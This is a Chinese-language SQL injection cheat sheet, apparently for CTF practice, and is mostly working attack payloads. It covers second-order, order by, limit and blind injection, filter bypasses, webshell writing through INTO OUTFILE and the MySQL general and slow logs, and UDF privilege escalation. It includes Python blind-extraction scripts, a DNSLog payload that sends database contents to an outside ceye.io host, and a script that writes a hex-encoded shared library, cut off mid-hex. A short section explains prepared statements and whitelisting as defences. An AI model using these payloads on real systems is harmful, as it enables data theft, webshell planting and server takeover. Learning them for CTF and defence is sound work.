sel = "SELECT load_file(0x2f666c6167)" #/flag
payload = f"%df%27||(select case when(select {sel} regexp binary {passwd}) then 1 else 0 end)%23"
r = requests.get("http://192.168.201.3/index.php?key=" + payload, allow_redirects=False, proxies = {"http":"127.0.0.1:8080"})

#...

8.二次注入

第一次注册等操作没有注入点,但是第二次操作代入了第一次操作的语句,导致sql注入(

也就是说,我们提前构造好的语句成功储存进入数据库了,然后第二次操作(例如修改密码)中调用了第一次操作的语句,使得sql语句被执行

感觉好像还是没解释好,就是

第一次操作中,我们成功将sql语句储存入数据库中了

第二次操作中,数据库调用了该sql语句,导致sql语句被执行,形成二次注入(?)

[RCTF2015] EasySQL

例如该题就是二次注入:

需要我们注册一个账户:

尝试注册一个叫1’的账户,注册成功,此处没有注入点

发现能修改密码,这种先注册再修改密码的操作很可能有二次注入

发现同样没有任何问题…

可能是单引号的问题,尝试换成双引号再注册一个用户

然后修改密码,发现报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" and pwd='c4ca4238a0b923820dcc509a6f75849b'' at line 1

说明是双引号型的二次注入,并且有报错,可以使用报错注入:

1
2
注册账户:
1" and updatexml(1,concat('~',database()),3)#

回显 invalid string,说明有过滤

可能是过滤了空格,所以我们使用括号替代空格:

1
1"and(updatexml(1,concat('~',database()),3))#

发现还是回显invalid string

所以有可能也过滤了and,使用&&替代空格:

1
1"&&(updatexml(1,concat('~',database()),3))#

注册成功,然后修改密码

爆出库名web_sqli

注册用户

1
1"&&updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),3)#

然后修改密码,爆出表名:article flag users

注册用户

1
1"&&updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),3)#

然后修改密码,爆列名

注册用户

1
1"&&updatexml(1,concat('~',(select(group_concat(flag))from(flag))),3)#

爆flag

发现flag并不在flag表内,回去看users表:

1
1"&&updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),3)#

发现real_flag_1s_her

然后尝试

1
1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_her))from(users))),3)#

然后报错了… 没有这一列

突然才意识到报错注入有32个字符长度的限制,

尝试倒序查看列名:

1
1"&&updatexml(1,concat('~',(select(group_concat(reverse(column_name)))from(information_schema.columns)where(table_name='users'))),3)#

果然,列名是real_flag_1s_here

然后爆flag:

1
1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users))),3)#

发现很多xxx,列名内有很多xxx,占用了32个字符长度

  • regexp函数:正则匹配,返回特定字符串
  • flag的格式就是flag{xxx}

所以只需要匹配含有f的字符串即可

1
1"&&updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),3)#
1
1"&&updatexml(1,concat('~',(select(group_concat(reverse(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f'))),3)#

组合一下就行了,注意重复的地方

9.无列名注入

适用于information_schema表被过滤的情况

爆库名:

1
0' union select 1,2,group_concat(database_name) from mysql.innodb_table_stats where 1='1

使用mysql.innodb_table_stats时,不储存列名

爆表名:

1
0' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where 1='1

对列的处理:

  • 先判断该表内有几列
  • 然后给列都取一个名,然后读取这个名字的内容

判断列数:

1
0' union select 1,2,(select group_concat(1) from database.table)'

database.table为数据库名.表名

回显了多少个1就说明有几列

例如:

1
0'/**/union/**/select/**/1,2,(select/**/group_concat(1)/**/from/**/ctftraining.flag)'

给列取名字读取:

1
2
3
4
5
0'/**/union/**/select/**/1,2,(select/**/group_concat(b)/**/from/**/(select/**/1/**/as/**/b/**/union/**/select/**/*/**/from/**/ctftraining.flag)a)'

/*选择ctftraining.flag内的第一列取名为b并且读取b*/


比较法判断列数(?待验证)

1
select (select 'admin','~','~')<(select * from users where username='admin' limit 1);

10.insert注入

SQL语句:

1
insert into table VALUES('val1','val2')

此时构造语句

1
1' or xxxx or'

语句就会变成:

1
insert into table VALUES('bob' or xxxxx or'')

xxxxx可以是报错注入的updatexml,也可以是时间盲注的语句,取决于你用何种注入方式:

1
0'||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))<127,sleep(0.3),1)||'
1
1' or updatexml(1,concat('~',database()),3) or'

11.update注入

无非就是闭合语句,再注入自己的语句,达到改密码等效果:

1
2
3
4
5
-- 正常update,sqli处为注入点
update user set username="sqli" where age=111;

-- 重复给username赋值
update user set username="sqli",username=user() where age=111;

12.约束攻击

利用原理:

  • 数据库中利用insert注册,利用select登录
  • insert语句只会截取表中最大字符限制的内容(比如设置了varchar(20)就只会保留20个)
  • select语句输入什么就是什么
  • 末尾的空格会被忽略掉

利用注册的时候加上特别多的空格insert进去,然后再登录:

假设我注册一个用户admin a

insert时候只会截取前20个,变成admin .(15个空格)

这个时候就成功插入了admin账户的账号和密码了

文件操作

设置变量

  • 全局变量
  • 会话变量的设置
1
2
3
set global key=value;
set session key=value;
set key=value;#session

查看变量:

1
2
show variables;
show variables like "%file%";

设置权限:

secure_file_priv

限制文件的读、写。secure_file_priv只能够通过my.ini来配置,不能够通过sql语言进行修改

查看权限:

1
show variables like "%secure_file%";
  • null:不允许导入导出
  • /tmp:只允许在tmp下执行
  • 空:无限制

读文件

1
select load_file('/flag');

读文件配合盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://34163922-8c1d-4c8b-ae9b-332f18511a0a.challenge.ctf.show:8080/api/index.php"

flag = "ctfshow{"

str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

for i in range(50):
for j in str:
data = {
"username" : "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
"password" : 0
}
# print(data)
r = requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in r.text:
flag = flag+j
print(flag)
if "}" in flag:
exit()
break

mysql写shell

写文件:

1
2
select "<?php phpinfo();?>" into outfile "/tmp/1.php"#多行
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"#仅一行
  • 要知道web的绝对路径
  • web要有文件的写入权限
  • 数据库有secure_file_priv设置
1
2
3
4
1' union select 1,"shell",3 into outfile "/var/www/html/1.php"

#windows下:
1' union select 1,"shell",3 into outfile "C:\\phpstudy\\WWW\\xxx"#

除了into outfileinto dumpfile以外,还有以下几种函数/语句可以写

lines terminated by:在每行终止的位置添加内容

1
1' union select 1 into outfile "xxx" lines terminated by "shell"#

对应的还有lines started by:在每行起始的位置添加

1
1 into out file "xxx" lines starting by "shell";

fields terminated by:可以理解成在每个字段处添加

1
1 into out file "xxx" fields terminated by "shell";

columns terminated by:可以理解在每一列添加

1
1 into out file "xxx" columns terminated by "shell";

sqlmap:

1
2
#写入到 /tmp 目录下 (要写的文件,必须在kali本机里有)
sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"

日志写shell:

phpmyadmin里常见:

需要设置general_loggeneral_log_file

1
2
set global general_log='on'; #开启日志记录
set global general_log_file='需要记录日志的位置.php';#将日志保存到路径,需要绝对路径,设置成网站的目录

然后只需要select一下:

1
select '<?php eval($_POST[1]);?>';

这样就把这条语句记录到日志里了,日志还是php,所以自然就有马了

但是还有问题,比如在windows下,设置secure_file_priv在C盘下,但是网站搭载在D盘的话,这样即使将general_log_file修改为C盘下的文件也是连不上的,除非有文件包含

这种方式的条件比较苛刻:

不能够union注入,因为写日志的时候需要set general_log_file,而union注入是不能够执行set的

要有堆叠注入(mysqli_multi_query),不常见(常用mysqli_query)

或者你能够登入别的数据库或者phpmyadmin里

没有对单双引号进行过滤

慢查询日志写shell

在mysql>5.6.34以后secure_file_priv的值默认为null。

mysql里有一种日志叫慢查询日志,它用于记录在mysql中响应时间超过阈值的语句,默认阈值(long_query_time)为10,时间超过这个参数的查询语句会被sql记录到慢查询日志中

使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况

1
2
3
4
5
6
show variables like "%slow%";
set global slow_query_log_file="xxx.php";#慢查询日志的保存路径
set global slow_query_log=on;
set global log_queries_not_using_indexes=on;

select 'shell' or sleep(10); #确保查询时间够长

如果查询的时候对敏感字符进行了过滤(如php),可以利用CONCAT拼接或者REPLACE替换

1
2
set global general_log_file =CONCAT("/var/www/html/shell.p","hp"); 
set global general_log_file =REPLACE("/var/www/html/shell.jpg","jpg","php");

各种表

information_schema

平时注入比较常用的表:

字段 说明
information_schema.schemata schema_name
information_schema.tables table_schema、table_name 库、表
information_schema.columns table_schema、table_name、column_name 库、表、列

sys

字段 说明
sys.innodb_buffer_stats_by_schema object_schema 库名
sys.innodb_buffer_stats_by_table object_schema、object_name 库名、表名
sys.io_global_by_file_by_bytes file 路径中包含表名
sys.io_global_by_file_by_latency file 路径中包含表名
sys.processlist current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
sys.session current_statement、last_statement 当前数据库正在执行的语句、该句柄执行的上一条语句
sys.schema_auto_increment_columns table_schema、table_name、column_name 库名、表名、字段名
sys.schema_index_statistics table_schema、table_name 库名、表名
sys.schema_object_overview db 库名
sys.schema_table_statistics table_schema、table_name 库名、表名
sys.schema_table_statistics_with_buffer table_schema、table_name 库名、表名
sys.schema_tables_with_full_table_scans object_schema、object_name 库名、表名
sys.statement_analysis query、db 请求访问的数据库名、数据库最近执行的请求
sys.version mysql_version mysql版本信息
sys.x$innodb_buffer_stats_by_schema object_schema 库名
sys.x$innodb_buffer_stats_by_table object_schema、object_name 库名、表名
sys.x$io_global_by_file_by_bytes file 路径中包含表名
sys.x$schema_tables_with_full_table_scans object_schema、object_name 库名、表名
sys.x$schema_flattened_keys table_schema、table_name、index_columns 库名、表名、字段名
sys.x$ps_schema_table_statistics_io table_schema、table_name 库名、表名

performance_schema

只有库和表:

字段 说明
performance_schema.objects_summary_global_by_type object_schema、object_name 库、表
performance_schema.table_handles object_schema、object_name 库、表
performance_schema.table_io_waits_summary_by_index_usage object_schema、object_name 库、表
performance_schema.table_io_waits_summary_by_table object_schema、object_name 库、表

information_schema.TABLESPACES_EXTENSIONS

可以通过这个表去查询所有数据库中的数据库和表

mysql.innodb

无列名:

字段 说明
mysql.innodb_table_stats database_name、table_name 表名
mysql.innodb_index_stats database_name、table_name

引号逃逸

利用方式:

1
select * from users where username='xxx' and password = 'xxx'

此处的xxx均为我们可控的内容,此时利用\逃逸出username的一个单引号,在password处注入:

1
select * from users where username='admin\' and password = 'or select xxx#'

quine(自等构造)

条件:

1
2
3
4
5
6
7
8
9
10
11
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);//$row是查询返回的结果 $password是我们post的结果
} else {
alertMes("wrong password",'index.php');
}

这里需要的是sql查询返回后的语句等于我们的password的语句

这里就可以利用replace函数替换,使其替换后的语句等于替换前的语句即可

对于返回值和输入值相同,并且输出自己的源代码程序,我们称之为Qunie

假设有个语句:

1
REPLACE('REPLACE("B","B","B")',B,'REPLACE("B","B","B")')

他经过处理后会变成:

1
REPLACE("REPLACE("B","B","B")","REPLACE("B","B","B")","REPLACE("B","B","B")")

仅相差中间那个B

此时利用char(66),其实就是B,但是它不会被替换

此时变成了:

1
REPLACE('REPLACE("B",CHAR(66),"B")',CHAR(66),'REPLACE("B",CHAR(66),"B")')

最后变成了:

1
REPLACE("REPLACE("B",CHAR(66),"B")",CHAR(66),"REPLACE("B",CHAR(66),"B")")

但是此时又有了个新的问题,此时看到距离我们的最终目标就剩下了单双引号

那我们再次利用replace将单引号换成双引号:

1
REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)),CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")')

比较套娃

此处实际上执行了两次replace:

第一次:

1
REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39))

此处将该语句的双引号都换成了单引号

此时变成了:

1
REPLACE('REPLACE(REPLACE('B',CHAR(34),CHAR(39)),CHAR(66),'B')',CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")')

最后的输出结果:

1
REPLACE(REPLACE('REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")',CHAR(34),CHAR(39)),CHAR(66),'REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")')

此时和语句1一致了

最后考虑到需要添加union select 空格/**/ 井号

最后的payload:

1
1'/**/union/**/select/**/REPLACE(REPLACE('1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#

如果char被过滤,还可以利用十六进制编码:

1
'/**/union/**/select/**/REPLACE(REPLACE('"/**/union/**/select/**/REPLACE(REPLACE("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/REPLACE(REPLACE("%",0x22,0x27),0x25,"%")#')#

方法2:

1
2
3
1'union/**/select/**/mid(`11`,65,217)/**/from(select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,1
4,15,16,17/**/union/**/select/**/*/**/from/**/performance_schema.threads/**/where/**/na
me/**/like'%connection%'/**/limit/**/1,1)t#

排序注入(order by)

讲到排序注入,就不得不说到mysql的一种防御方式叫预编译

预编译是啥呢,其实就是将一些灵活的参数值(可以理解成用户传的参数值)以占位符?的形式代替,然后让语句模板化。进行预编译之后sql语句就已经被分析优化了,并且是以参数化的形式来执行,所以即使有敏感字符,数据库也会当作属性值来处理而不是sql指令

预编译的形式通常是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include 'dbConnect.php'; #已经包含了数据库的连接
//假设需要两个参数username和password:
if (isset($_GET['username']) && isset($_GET['password'])) {
//$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$mysqli_stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$mysqli_stmt->bind_param("ss", $username,$password);
$mysqli_stmt->bind_result($user, $pass);
$mysqli_stmt->execute();

// 从结果集中获取所有数据
if (($mysqli_stmt->fetch())) {
echo '登录成功!';
} else {
echo "用户名或密码错误";
}
}

或者一个更加普遍的形式:

1
2
3
4
5
Connection conn = DBConnect.getConnection();
String sql = " SELECT xxx FROM xxx WHERE xxx = ? ";
ps = conn.prepareStatement(sql);
ps.setString(1, xxx); //或者ps.setInt(1, username);
rs = ps.executeQuery();

此时我们输入1' or '1'='1时,预编译好的sql语句是这样的:

'1' or '1'='1'(也就是再加上一个单引号)

1
String sql = " SELECT xxx FROM xxx WHERE xxx = '1' or '1'='1' "

此时就无法攻击了

那接下来说回排序注入

排序注入一般出现在order by

1
String sql = " SELECT xxx FROM xxx WHERE xxx ='xxx' order by xxx";

这里拿sql-labs的lesson48来做测试就好了

挖掘思路

请求的参数中的关键词有order=sort=orderby=

等于号后面有asc desc

例如某接口:

1
https://xxxx.com/xxx/xxx/xxx/getAreaSpotPageList?&pageindex=1&pagesize=20&passAreaId=2&orderby=pass_area_spot_id+desc&userId=1181163&hotelId=5&brandId=5

这个接口是一个比较正常的get类型的获取数据接口

但是有一个orderby参数比较显眼

而且传递的参数值为pass_area_spot_id+desc,而desc是sql中的降序排序

发现orderby=pass_area_spot_id+descorderby=pass_area_spot_id+asc返回的数据不一致

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
,1 && ,0
,1/1 && ,1/0
,exp(7) && ,exp(710) //exp得看数据库的版本,高版本下不太行
异或
(select*from(select+sleep(3)union/**/select+1)a) //基于时间盲注的辅助判断

感觉上面的都不太行?

order by rand()
order by rand(1=1)
order by rand(1=2)
根据这个排序返回的情况判断是否存在

也可以利用超大的数或者返回多条记录:
order by 9999
order by (select 1 union select 2)

例如:

AdminID+desc,exp(7)正常

AdminID+desc,exp(710)会溢出,导致响应时间过长:

基于时间的检测判断:

可见访问了3秒左右,代表存在该漏洞

利用方式

这个时候就可以利用了,建议条件为真时溢出(利于判断)

其实order by 后面可以直接添加sql语句

payload修改一下:

1
AdminID+desc,if(user()+like+'r%',exp(710),exp(7))
1
AdminID+desc,if(user()+like+'c%',exp(710),exp(7))
1
利用方式其实就是desc,然后加上注入语句

报错:

1
xxx desc, updatexml(1,concat('~',database()),3)

盲注(bool):

这里也可以写基于二分的,如果正确页面回显正常,如果错误页面会回显Subquery returns more than 1 row(也有可能是别的)

1
Payload:pass_area_spot_id+desc,if(ascii(substr(database(),? ,1))=?,1,(select%201%20from%20information_schema.tables))
1
2
3
4
order by if(1=1,1,(select 1 from information_schema.tables)) # 正常
order by if(1=2,1,(select 1 from information_schema.tables)) # 异常
order by if(mid(database(),1,1)='s',1,(select 1 from information_schema.tables)) # 正常
order by if(mid(database(),1,1)='a',1,(select 1 from information_schema.tables)) # 异常

如果直接order by sleep(2)的话会根据表内的数据,进行sleep(2n)的操作,导致查询时间过长

盲注(time):

1
pass_area_spot_id+desc,if(ascii(substr(database(),? ,1))=?,1,sleep(3))

为什么预编译不能够防止order by导致的注入

其实这里可以换一个方法来问这个问题。

还记得预编译是什么吗?

进行预编译之后sql语句就已经被分析优化了,并且是以参数化的形式来执行,所以即使有敏感字符,数据库也会当作属性值来处理而不是sql指令

那么这个问题就可以转化成order by为什么不能够被参数化执行了

说回order byorder by的语法一般是order by [字段名] [desc/asc]

如果对order by之后的输入进行参数化就会导致sql语句出错:

1
String sql = " SELECT xxx FROM xxx WHERE xxx = 'xxx' order by 'xxx' "

这个时候order by 后面的 xxx其实是一个字符串,而不是字段名,导致sql查询出错

引自原文:

那么为什么预编译的函数在参数化时非要把输入加上引号呢?如果没有引号不就可以防御order by注入了吗?是的,但确实没有不加引号的预编译的方法

那就是说引申一下,预编译防止不了order by导致的sql注入,也防御不了任何需要字符串并且不能够加引号的地方可能导致的sql注入

因为不能参数化的位置不管怎么拼接,最终都是和直接使用加号连接的方法一致

防御方式

既然预编译防不了group by,那要怎么防御呢?

可以采取白名单的方式

因为order by 之后跟的字段名是有限的,而且肯定是数据库中已经存在的字段,所以只要对这些有限的字段设置白名单,其他的输入统一报错,那么就解决了

DNSLog

什么是DNSLog?

DNS就是将域名解析为ip。用户在浏览器上输入一个A.com,就要靠DNS服务器将A.com解析到它的真实ip,这样就可以访问到该真实ip上的服务

如何利用DNSLog进行注入呢?

DNSLog回显原理

Internet采用层次树状结构命名方法,域是名字空间中的一个可被管理的划分。域还可以被分成子域,子域还能够再被划分,从右向左分别是顶级域名,二级域名,三级域名,如tieba.baidu.com,而且域名不分大小写

DNSLog的回显方式是这样的:

假设我ping %USERNAME%.a.com

此时回显的结果会是Ping 请求找不到主机 kang_.a.com

因为系统在ping之前先把%USERNAME%的值解析出来和a.com拼接起来

再和ping命令执行将kang_.a.com发给DNS服务器请求解析

这个过程被记录下来就称DNSLog

原理上只要能够进行DNS请求的函数都可能存在DNSLog注入

DNSLog能用在哪些地方?

  1. SQL盲注。因为在sql注入的时候为布尔盲注、时间盲注的时候注入的效率低而且线程高的时候就容易被waf拦截,又或者目标站点无回显
  2. 无回显rce。这个不多说
  3. 无回显ssrf
  4. xss
  5. xxe

推荐的DNSLog网址:

http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io

DNSLog打SQL盲注

  • 局限性:只能利用于windows并且有文件的读取权限,secure-file-priv不为null

这里就需要我们的load_file函数了,这个函数可以进行DNS请求。但是这个trick只适用于windows系统。因为windows上有一个叫UNC路径的东西

这是个什么玩意呢?

其实是一个windows上的一个访问方式,其实就是我们的

1
C:\abc.xx\test

这种反斜杠的访问方式

payload:

1
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

过程是这样的:

  • 恶意sql注入传递到数据库执行database()函数,假设返回的数据库名字叫security
  • 此时dns查询变成了security.xxx.ceye.io
  • 然后带着这个查询去查询dns服务器(查询security.xxx.ceye.io)
  • dns服务器返回了一个NS服务器地址xxx.ceye.io
  • 向NS服务器查询security.xxx.ceye.io
  • ND服务器上获取到了DNSLog,查询到了数据库的值

limit注入

注入点在limit后面

仅适用于5.x,因为procedure analyse在8.0.x已经被删除

group by 和limit的区别

group by 后可以直接跟sql注入语句,但是limit是不能直接跟的,需要再跟procedure analyse()

无order by的情况

后端语句可能长这样:

1
select * from users limit 1,1;

这种利用就很简单了,可以直接在后面加union,也可以利用procedure analyse()

1
2
3
4
5
6
7
select * from aaa limit 1,1;

-- 使用union注入
select * from aaa limit 1,1 union select version();

-- 报错注入,延时类似
select * from aaa limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,version())),1);

有order by的情况

只能利用procedure analyse

1
2
3
4
5
select * from aaa order by 1 limit 1,1;
-- 后端查询语句可能是这样的

-- 报错注入,延时类似
select * from aaa order by 1 limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,version())),1);

查询语句的过滤

0.内联注释

1
2
3
select 1/*!union*/select 2;
select /*!user(*/);
/*!41320select/*!/*!10000user/*!(/*!/*!/*!*/);

不明觉厉()

可以将语句插入到注释中

1.大小写绕过:

1
1' OrDeR by 1#

2.编码:

进行url编码,如and(&&)可以尝试使用%26%26

如#可以使用%23

有些时候也可以利用hex:

1
1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

3.空格绕过:

空格被过滤的一个方法:

1
1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

另一个方法就是使用括号:

1
1'||updatexml(1,concat('~',(select group_concat(table_name) from inforamtion_schema.tables where table_schema=database())),3)#

换用tab%a0%0a

(我记得%a0也能绕过?)

测试过会发现and之前的空格可以被省略,而and后面的空格可利用数个~!来绕过

还有+-

and后跟偶数个-即可

4.双写绕过:

1
1' ununionion selselectect 1,2,3#

将中间的union和select删除后又有union select,绕过成功

大抵是因为str_replace?

5.符号绕过:

or 换成 ||

and 换成 &&

6.大小于号的过滤

万恶的大小于号过滤,在写脚本跑的时候非常痛苦

可以使用greatest()函数、least()函数

1
2
3
4
如:
select * from users where id=1 and ascii(substr(databse(),1,1))>64
可以换成:
select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64

其实也可以直接使用等于号硬跑脚本,也就只用跑十七八分钟而已

7.过滤了database()

updated in 2023/3/11

可以通过查一个不存在的表来爆出库名:

1
1'||(select *from asdf)#
1
select schema_name from information_schema.schemata;
1
select a();

8.各种字符数字互转

  • ascii,常用于盲注,字符转ascii码
  • ord,等效替代ascii
  • hex,传入字符或者十进制数返回十六进制
  • unhex,hex的反向
  • char,ascii、ord的反向
1
2
3
4
-- 原语句
select table_name from information_schema.tables where table_schema='test';
-- 16进制后
select table_name from information_schema.tables where table_schema=0x74657374;
1
2
3
select table_name from information_schema.tables where table_schema='test';
-- char后
select table_name from information_schema.tables where table_schema=char(116,101,115,116);

9.过滤了select

利用handler,常见于堆叠注入

1
2
3
4
5
6
-- user是表名
-- 打开句柄
handler user open;
-- 读取数据
handler user read first;
handler user read next;

条件:mysql8.0.19+

使用了tablevalues

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
table user
-- 等价于
select * from user

-- 并且支持order by 和limit

-- TABLE始终显示表的所有列,并且不允许对行进行任何过滤,也就是说table不能够加where


(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)

#结果
#tmp/user

-- table支持比较:


select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))

#返回值:0


select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))

#返回值:1


select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))

#返回值:1


select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))

#返回值:NULL


select (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))

#返回值:0

完全相等的时候返回null(?)

整数比较的时候是弱比较,注意

1
2
3
4
-- values ROW(1,2) 等价于 select 1,2

-- 配合union:
select * from user union VALUES ROW(1, 2)

测试:

例如某sql注入有如下的waf:

1
2
3
select
and
or

查库:

1
id=0%09union%09values%09row(database())

也可以利用一个盲注,总之就是要知道database

1
1' or ascii(substr(database(),1,1))

总之就是一个脚本可以爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests




def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result


tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ""
for i in range(0,50):
for j in range(48,122):
data = {
# 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),
#'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),
# username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login
'password':'',
}
r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);
if '用户名不存在' in r.text:
flag = flag +chr(j-1)
print(flag)
break

利用这种比较的方法可以比较出列名等

利用列比较:

1
2
#查库
('def', '{target+chr(ascii)}','','','','')>(table information_schema.schemata limit 4,1)

查表:

1
('ctf','{flag+chr(ascii)}','2021-04-30 21:15:31',0,0,0)>(table mysql.innodb_table_stats limit 1,1)

查记录:

1
hex((table ctf.fl11aag limit 1,1))

10. 绕过逗号

还是挺有用的

利用join绕过:

1
select * from (select user())a join (select database())b;

limit情况下的:

1
limit 1 offset 1 等效于 limit 1,1

substr:

1
select substr(database() from 1 for 1);
1
2
3
4
-- 原语句
select substr(username,1,1) from t_user;
-- 绕过
select username from t_user where username like "u%";

11. 绕过等于号

Payload 说明
<>>< 不等符、大于、小于
select 1 between 1 and 2; select 1 not between 1 and 2; between语句,在两值之间
select 1 in (1); select 1 not in (1); in语句,在集合中
select '123' like '1%'; like模糊匹配
select '123' regexp '^12.*'; regexp正则匹配
select '123' rlike '^12.*'; Rlike正则匹配
select regexp_like("abc","^ab"); regexp_like函数正则匹配

12. and/or

&&

||

^

-sleep(2)

13. 小括号

一般利用regexp或者like

14. 注释符

直接完整闭合即可:

1
2
3
4
# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1

15. 绕过关键词

比如information_schema.tables这种一个大的关键词

可以利用空格或者反引号绕过

1
2
3
4
-- 空格
select distinct table_name from information_schema . tables;
-- 反引号
select distinct table_name from `information_schema`.`tables`;

16. order by

group by

into @a, @b

UDF提权

udf是一个用户自定义的函数

udf就是为了让开发者能够自己写方便自己的函数,udf有三种返回值:STRING,INTEGER,REAL

udf创建自定义函数的格式:

1
create function xxx returns xxxx(string/integer/real) soname 'filename.so/dll' 

例如自定义一个sys_eval函数:

1
create function sys_eval returns string soname 'a.so';
1
2
3
4
5
select * from mysql.func where name = 'sys_eval';

select sys_eval('sudo ls /root'); #sudo提权

select sys_eval('sudo cat /root/you_win');

(主要是发现这个b mysql用户是特权用户,才能够用sudo)

需要条件

Windows

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin\文件夹下(windows下默认这个目录是不存在的,所以需要有权限创建)
  • 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

Linux

  • 放到mysql安装目录的lib\plugin\即可

流程

首先要找到放plugin的路径

1
2
3
4
show variables like '%secure%';
获取到secure_file_priv
这个参数会告诉我们通过udf提权可以获得什么权限
像下面就是可以提权到root
1
2
show variables like '%plugin%';
获取plugin目录

然后将so文件上传到这个路径

你要是有小马可以rce的可以用这个脚本打:

1
2
3
4
5
6
7
8
9
10
#lum1n0us师傅的脚本
import requests

url = 'http://78699278-e868-4e60-a4ed-1b459b70c167.challenge.ctf.show/a.php'
data = {'1': '''file_put_contents('a.so',hex2bin('7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea